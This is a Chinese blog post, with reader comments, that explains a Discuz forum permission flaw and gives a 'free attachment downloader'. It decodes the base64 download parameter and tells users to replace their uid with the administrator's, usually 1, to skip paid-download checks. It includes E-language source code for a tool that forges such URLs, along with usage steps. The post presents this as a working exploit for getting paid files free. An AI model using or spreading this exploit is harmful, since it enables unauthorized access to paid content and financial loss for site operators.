Discuz附件免费下载器原理+源码


最近关注的这个discuz平衡权限漏洞,可以绕过附件下载权限达到免费下载附件的目的。只要利用思路清晰了,很快将出现各种利用工具。


0×01 原理解析


漏洞的原因 —- discuz平衡权限漏洞 !


漏洞的结果 —- 绕过附件下载权限达到免费下载附件!


0×02 算法分析


http://域名/forum.php?mod=attachment&aid=
MjMzMDZ8MDY4OTkzN2Z8MTM5NDI5OTk2MHwzNTUwfDEyMTgx


这里是base64编码过的字符串


解密得:23306|0689937f|1394299960|3550|12181


通过多次抓包得到算法:


http://域名/forum.php?mod=attachment&aid=   +   base64[ 附件的id | formhash |发送时间|你的uid|文章id ]



利用discuz平衡权限漏洞,将uid的值替换成管理员的即可绕过收费下载。


0×02 使用方法参考


01.找到要下载的附件,右键属性,得到下载附件的url:

02.粘贴进软件中。这个时候请注意了,其中要填写一个uid,这个uid默认为1。这个uid代表着你用哪个用户的身份下载此附件,一般肯定用管理员身份下载,而通常管理员uid都是1。但也可能有例外,所以使用者需要根据实际情况填写此uid。

软件下载


易语言代码分享:

.支持库 じ☆ve Hebe
.支持库 eAPI
 
.子程序 _按钮1_被单击
.局部变量 url, 文本型
.局部变量 密文, 文本型
.局部变量 新密文, 文本型
.局部变量 左边位置, 整数型
.局部变量 右边位置, 整数型
.局部变量 uid, 文本型
 
url = 编辑框1.内容
uid = 编辑框2.内容
密文 = 取文本右边 (url, 取文本长度 (url) - 寻找文本 (url, “aid=”, , 假) - 3)
新密文 = 到文本 (BASE64解码 (密文))
右边位置 = 倒找文本 (新密文, “|”, , 假)
左边位置 = 倒找文本 (新密文, “|”, 右边位置, 假)
新密文 = 取文本左边 (新密文, 左边位置) + uid + 取文本右边 (新密文, 取文本长度 (新密文) - 右边位置 + 1)
新密文 = 到文本 (BASE64编码 (到字节集 (新密文)))
url = 子文本替换 (url, 密文, 新密文, , , 真)
打开指定网址 (url)

正文到此结束

随便看看

发表评论

    avatar
    微笑 大笑 拽 大哭 奸笑 流汗 喷血 生气 囧 不爽 晕 示爱 卖萌 吃惊 迷离 爱你 吓死了 呵呵

      已有 5 条评论

    1. QQ 二线 #3
      不能用了老大,可以更新一下吗?2015-06-04 16:44回复
      1. gravatar 凣高先生
        @二线:这只是利用Discuz的某个已公布漏洞而已,新版本都会被修复,如果网站更新Discuz补丁或升级,漏洞被补上,该工具也失效,所以不是工具更新的问题 2015-06-04 20:07回复
      2. QQ 客服二线
        @凣高先生:哦哦 2015-06-04 20:22回复
    2. gravatar 千亿珠宝通 #2
      收费模板能下吗?2015-05-06 23:41回复
      1. gravatar 千亿珠宝通 #1
        模板能下吗?2015-05-06 23:40回复